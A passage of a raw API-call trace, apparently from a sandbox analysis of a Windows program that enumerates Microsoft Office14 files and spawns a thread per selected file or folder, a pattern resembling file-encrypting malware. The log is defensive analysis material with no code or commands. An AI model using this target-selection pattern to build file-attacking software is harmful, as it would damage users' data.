lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d766e00, ftCreationTime.dwHighDateTime=0x1cac1e7, ftLastAccessTime.dwLowDateTime=0x5e4b68d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7d766e00, ftLastWriteTime.dwHighDateTime=0x1cac1e7, nFileSizeHigh=0x0, nFileSizeLow=0xee570, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISSHE.DLL", cAlternateFileName="")) returned 1 [0151.137] wcscmp (_String1="VISSHE.DLL", _String2=".") returned 1 [0151.137] wcscmp (_String1="VISSHE.DLL", _String2="..") returned 1 [0151.138] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23ac1100, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd1e74360, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x23ac1100, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xb3d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISSUPP.DLL", cAlternateFileName="")) returned 1 [0151.138] wcscmp (_String1="VISSUPP.DLL", _String2=".") returned 1 [0151.138] wcscmp (_String1="VISSUPP.DLL", _String2="..") returned 1 [0151.138] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2017280, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xbcb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISUTILS.DLL", cAlternateFileName="")) returned 1 [0151.138] wcscmp (_String1="VISUTILS.DLL", _String2=".") returned 1 [0151.138] wcscmp (_String1="VISUTILS.DLL", _String2="..") returned 1 [0151.138] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd235d0c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x12e388, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISWEB.DLL", cAlternateFileName="")) returned 1 [0151.138] wcscmp (_String1="VISWEB.DLL", _String2=".") returned 1 [0151.138] wcscmp (_String1="VISWEB.DLL", _String2="..") returned 1 [0151.138] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa52c0600, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x852ed240, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa52c0600, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x1a580, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISXDATA.DLL", cAlternateFileName="")) returned 1 [0151.138] wcscmp (_String1="VISXDATA.DLL", _String2=".") returned 1 [0151.138] wcscmp (_String1="VISXDATA.DLL", _String2="..") returned 1 [0151.138] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9321c00, ftCreationTime.dwHighDateTime=0x1cab7d2, ftLastAccessTime.dwLowDateTime=0x7071e4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc9321c00, ftLastWriteTime.dwHighDateTime=0x1cab7d2, nFileSizeHigh=0x0, nFileSizeLow=0xb2780, dwReserved0=0x0, dwReserved1=0x0, cFileName="VPREVIEW.EXE", cAlternateFileName="")) returned 1 [0151.138] wcscmp (_String1="VPREVIEW.EXE", _String2=".") returned 1 [0151.138] wcscmp (_String1="VPREVIEW.EXE", _String2="..") returned 1 [0151.138] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9321c00, ftCreationTime.dwHighDateTime=0x1cab7d2, ftLastAccessTime.dwLowDateTime=0x70802d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc9321c00, ftLastWriteTime.dwHighDateTime=0x1cab7d2, nFileSizeHigh=0x0, nFileSizeLow=0x8d5178, dwReserved0=0x0, dwReserved1=0x0, cFileName="VVIEWDWG.DLL", cAlternateFileName="")) returned 1 [0151.138] wcscmp (_String1="VVIEWDWG.DLL", _String2=".") returned 1 [0151.138] wcscmp (_String1="VVIEWDWG.DLL", _String2="..") returned 1 [0151.138] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9321c00, ftCreationTime.dwHighDateTime=0x1cab7d2, ftLastAccessTime.dwLowDateTime=0x5e528cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc9321c00, ftLastWriteTime.dwHighDateTime=0x1cab7d2, nFileSizeHigh=0x0, nFileSizeLow=0x556768, dwReserved0=0x0, dwReserved1=0x0, cFileName="VVIEWER.DLL", cAlternateFileName="")) returned 1 [0151.138] wcscmp (_String1="VVIEWER.DLL", _String2=".") returned 1 [0151.138] wcscmp (_String1="VVIEWER.DLL", _String2="..") returned 1 [0151.138] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7339ac00, ftCreationTime.dwHighDateTime=0x1cbdfc2, ftLastAccessTime.dwLowDateTime=0xe5eea5a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7339ac00, ftLastWriteTime.dwHighDateTime=0x1cbdfc2, nFileSizeHigh=0x0, nFileSizeLow=0x13db160, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINPROJ.EXE", cAlternateFileName="")) returned 1 [0151.138] wcscmp (_String1="WINPROJ.EXE", _String2=".") returned 1 [0151.138] wcscmp (_String1="WINPROJ.EXE", _String2="..") returned 1 [0151.138] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc800000, ftCreationTime.dwHighDateTime=0x1cab9aa, ftLastAccessTime.dwLowDateTime=0xbef68300, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcc800000, ftLastWriteTime.dwHighDateTime=0x1cab9aa, nFileSizeHigh=0x0, nFileSizeLow=0xd92, dwReserved0=0x0, dwReserved1=0x0, cFileName="winproj.exe.manifest", cAlternateFileName="WINPRO~1.MAN")) returned 1 [0151.139] wcscmp (_String1="winproj.exe.manifest", _String2=".") returned 1 [0151.139] wcscmp (_String1="winproj.exe.manifest", _String2="..") returned 1 [0151.139] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x202aec80 [0151.139] wcscpy (in: _Dest=0x202aec80, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0151.139] wcscat (in: _Dest=0x202aec80, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0151.139] wcscat (in: _Dest=0x202aec80, _Source="winproj.exe.manifest" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\winproj.exe.manifest") returned="C:\\Program Files\\Microsoft Office\\Office14\\winproj.exe.manifest" [0151.139] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202aec80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23dc [0151.140] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee656c00, ftCreationTime.dwHighDateTime=0x1cacd37, ftLastAccessTime.dwLowDateTime=0x5e5e73d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee656c00, ftLastWriteTime.dwHighDateTime=0x1cacd37, nFileSizeHigh=0x0, nFileSizeLow=0x15b758, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINWORD.EXE", cAlternateFileName="")) returned 1 [0151.140] wcscmp (_String1="WINWORD.EXE", _String2=".") returned 1 [0151.140] wcscmp (_String1="WINWORD.EXE", _String2="..") returned 1 [0151.140] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1653d000, ftCreationTime.dwHighDateTime=0x1cacd36, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1653d000, ftLastWriteTime.dwHighDateTime=0x1cacd36, nFileSizeHigh=0x0, nFileSizeLow=0x67eb58, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wordcnv.dll", cAlternateFileName="")) returned 1 [0151.140] wcscmp (_String1="Wordcnv.dll", _String2=".") returned 1 [0151.140] wcscmp (_String1="Wordcnv.dll", _String2="..") returned 1 [0151.140] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1653d000, ftCreationTime.dwHighDateTime=0x1cacd36, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1653d000, ftLastWriteTime.dwHighDateTime=0x1cacd36, nFileSizeHigh=0x0, nFileSizeLow=0x7560, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wordcnvpxy.cnv", cAlternateFileName="WORDCN~1.CNV")) returned 1 [0151.140] wcscmp (_String1="Wordcnvpxy.cnv", _String2=".") returned 1 [0151.140] wcscmp (_String1="Wordcnvpxy.cnv", _String2="..") returned 1 [0151.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x42060730 [0151.140] wcscpy (in: _Dest=0x42060730, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0151.140] wcscat (in: _Dest=0x42060730, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0151.140] wcscat (in: _Dest=0x42060730, _Source="Wordcnvpxy.cnv" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Wordcnvpxy.cnv") returned="C:\\Program Files\\Microsoft Office\\Office14\\Wordcnvpxy.cnv" [0151.140] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42060730, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23e0 [0151.141] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1653d000, ftCreationTime.dwHighDateTime=0x1cacd36, ftLastAccessTime.dwLowDateTime=0x5e60d530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1653d000, ftLastWriteTime.dwHighDateTime=0x1cacd36, nFileSizeHigh=0x0, nFileSizeLow=0x62f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wordcnvr.dll", cAlternateFileName="")) returned 1 [0151.141] wcscmp (_String1="Wordcnvr.dll", _String2=".") returned 1 [0151.141] wcscmp (_String1="Wordcnvr.dll", _String2="..") returned 1 [0151.141] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1653d000, ftCreationTime.dwHighDateTime=0x1cacd36, ftLastAccessTime.dwLowDateTime=0x5e633690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1653d000, ftLastWriteTime.dwHighDateTime=0x1cacd36, nFileSizeHigh=0x0, nFileSizeLow=0x5f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wordconv.exe", cAlternateFileName="")) returned 1 [0151.141] wcscmp (_String1="Wordconv.exe", _String2=".") returned 1 [0151.141] wcscmp (_String1="Wordconv.exe", _String2="..") returned 1 [0151.141] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2796a00, ftCreationTime.dwHighDateTime=0x1cacb3c, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2796a00, ftLastWriteTime.dwHighDateTime=0x1cacb3c, nFileSizeHigh=0x0, nFileSizeLow=0x1c5b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="WORDICON.EXE", cAlternateFileName="")) returned 1 [0151.141] wcscmp (_String1="WORDICON.EXE", _String2=".") returned 1 [0151.142] wcscmp (_String1="WORDICON.EXE", _String2="..") returned 1 [0151.142] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x424a0a00, ftCreationTime.dwHighDateTime=0x1c9244d, ftLastAccessTime.dwLowDateTime=0x5e60d530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x424a0a00, ftLastWriteTime.dwHighDateTime=0x1c9244d, nFileSizeHigh=0x0, nFileSizeLow=0x1373c, dwReserved0=0x0, dwReserved1=0x0, cFileName="WORDIRM.XML", cAlternateFileName="")) returned 1 [0151.142] wcscmp (_String1="WORDIRM.XML", _String2=".") returned 1 [0151.142] wcscmp (_String1="WORDIRM.XML", _String2="..") returned 1 [0151.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x420606b0 [0151.142] wcscpy (in: _Dest=0x420606b0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0151.142] wcscat (in: _Dest=0x420606b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0151.142] wcscat (in: _Dest=0x420606b0, _Source="WORDIRM.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\WORDIRM.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\WORDIRM.XML" [0151.142] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x420606b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23e4 [0151.143] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x424a0a00, ftCreationTime.dwHighDateTime=0x1c9244d, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x424a0a00, ftLastWriteTime.dwHighDateTime=0x1c9244d, nFileSizeHigh=0x0, nFileSizeLow=0x13584, dwReserved0=0x0, dwReserved1=0x0, cFileName="WORDIRMV.XML", cAlternateFileName="")) returned 1 [0151.143] wcscmp (_String1="WORDIRMV.XML", _String2=".") returned 1 [0151.143] wcscmp (_String1="WORDIRMV.XML", _String2="..") returned 1 [0151.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060630 [0151.143] wcscpy (in: _Dest=0x42060630, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0151.143] wcscat (in: _Dest=0x42060630, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0151.143] wcscat (in: _Dest=0x42060630, _Source="WORDIRMV.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\WORDIRMV.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\WORDIRMV.XML" [0151.143] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42060630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23e8 [0151.144] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1db63000, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd6f62f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1db63000, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x9fb78, dwReserved0=0x0, dwReserved1=0x0, cFileName="WORKFLOW.DLL", cAlternateFileName="")) returned 1 [0151.144] wcscmp (_String1="WORKFLOW.DLL", _String2=".") returned 1 [0151.144] wcscmp (_String1="WORKFLOW.DLL", _String2="..") returned 1 [0151.144] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee656c00, ftCreationTime.dwHighDateTime=0x1cacd37, ftLastAccessTime.dwLowDateTime=0x5e822870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee656c00, ftLastWriteTime.dwHighDateTime=0x1cacd37, nFileSizeHigh=0x0, nFileSizeLow=0x17f2558, dwReserved0=0x0, dwReserved1=0x0, cFileName="WWLIB.DLL", cAlternateFileName="")) returned 1 [0151.144] wcscmp (_String1="WWLIB.DLL", _String2=".") returned 1 [0151.144] wcscmp (_String1="WWLIB.DLL", _String2="..") returned 1 [0151.144] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd23cf4e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xc9b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="XFUNC.DLL", cAlternateFileName="")) returned 1 [0151.144] wcscmp (_String1="XFUNC.DLL", _String2=".") returned 1 [0151.145] wcscmp (_String1="XFUNC.DLL", _String2="..") returned 1 [0151.145] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc004c700, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc004c700, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x11ed98, dwReserved0=0x0, dwReserved1=0x0, cFileName="XIMAGE3B.DLL", cAlternateFileName="")) returned 1 [0151.145] wcscmp (_String1="XIMAGE3B.DLL", _String2=".") returned 1 [0151.145] wcscmp (_String1="XIMAGE3B.DLL", _String2="..") returned 1 [0151.145] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43ac6400, ftCreationTime.dwHighDateTime=0x1cac1f5, ftLastAccessTime.dwLowDateTime=0x5e822870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x43ac6400, ftLastWriteTime.dwHighDateTime=0x1cac1f5, nFileSizeHigh=0x0, nFileSizeLow=0x2778, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLCALL32.DLL", cAlternateFileName="")) returned 1 [0151.145] wcscmp (_String1="XLCALL32.DLL", _String2=".") returned 1 [0151.145] wcscmp (_String1="XLCALL32.DLL", _String2="..") returned 1 [0151.145] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fddd000, ftCreationTime.dwHighDateTime=0x1c7ae71, ftLastAccessTime.dwLowDateTime=0x5e822870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9fddd000, ftLastWriteTime.dwHighDateTime=0x1c7ae71, nFileSizeHigh=0x0, nFileSizeLow=0x13784, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLCPRTID.XML", cAlternateFileName="")) returned 1 [0151.145] wcscmp (_String1="XLCPRTID.XML", _String2=".") returned 1 [0151.145] wcscmp (_String1="XLCPRTID.XML", _String2="..") returned 1 [0151.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420605b0 [0151.145] wcscpy (in: _Dest=0x420605b0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0151.145] wcscat (in: _Dest=0x420605b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0151.145] wcscat (in: _Dest=0x420605b0, _Source="XLCPRTID.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\XLCPRTID.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\XLCPRTID.XML" [0151.145] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x420605b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23ec [0151.146] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf73e1e00, ftCreationTime.dwHighDateTime=0x1cacb3c, ftLastAccessTime.dwLowDateTime=0x70c534f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf73e1e00, ftLastWriteTime.dwHighDateTime=0x1cacb3c, nFileSizeHigh=0x0, nFileSizeLow=0x169360, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLICONS.EXE", cAlternateFileName="")) returned 1 [0151.146] wcscmp (_String1="XLICONS.EXE", _String2=".") returned 1 [0151.146] wcscmp (_String1="XLICONS.EXE", _String2="..") returned 1 [0151.146] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLSTART", cAlternateFileName="")) returned 1 [0151.146] wcscmp (_String1="XLSTART", _String2=".") returned 1 [0151.146] wcscmp (_String1="XLSTART", _String2="..") returned 1 [0151.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b86eaa0 [0151.146] wcscpy (in: _Dest=0x1b86eaa0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0151.146] wcscat (in: _Dest=0x1b86eaa0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0151.146] wcscat (in: _Dest=0x1b86eaa0, _Source="XLSTART" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\XLSTART") returned="C:\\Program Files\\Microsoft Office\\Office14\\XLSTART" [0151.146] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b86eaa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23f0 [0151.147] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbccffc00, ftCreationTime.dwHighDateTime=0x1c43c6f, ftLastAccessTime.dwLowDateTime=0x5e822870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbccffc00, ftLastWriteTime.dwHighDateTime=0x1c43c6f, nFileSizeHigh=0x0, nFileSizeLow=0x2851, dwReserved0=0x0, dwReserved1=0x0, cFileName="XML2WORD.XSL", cAlternateFileName="")) returned 1 [0151.147] wcscmp (_String1="XML2WORD.XSL", _String2=".") returned 1 [0151.147] wcscmp (_String1="XML2WORD.XSL", _String2="..") returned 1 [0151.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060530 [0151.148] wcscpy (in: _Dest=0x42060530, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0151.148] wcscat (in: _Dest=0x42060530, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0151.148] wcscat (in: _Dest=0x42060530, _Source="XML2WORD.XSL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\XML2WORD.XSL") returned="C:\\Program Files\\Microsoft Office\\Office14\\XML2WORD.XSL" [0151.148] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42060530, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23f4 [0151.149] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9d4ce00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x5e8489d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9d4ce00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x202200, dwReserved0=0x0, dwReserved1=0x0, cFileName="XOCR3.PSP", cAlternateFileName="")) returned 1 [0151.149] wcscmp (_String1="XOCR3.PSP", _String2=".") returned 1 [0151.149] wcscmp (_String1="XOCR3.PSP", _String2="..") returned 1 [0151.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x420604b0 [0151.149] wcscpy (in: _Dest=0x420604b0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0151.149] wcscat (in: _Dest=0x420604b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0151.149] wcscat (in: _Dest=0x420604b0, _Source="XOCR3.PSP" | out: 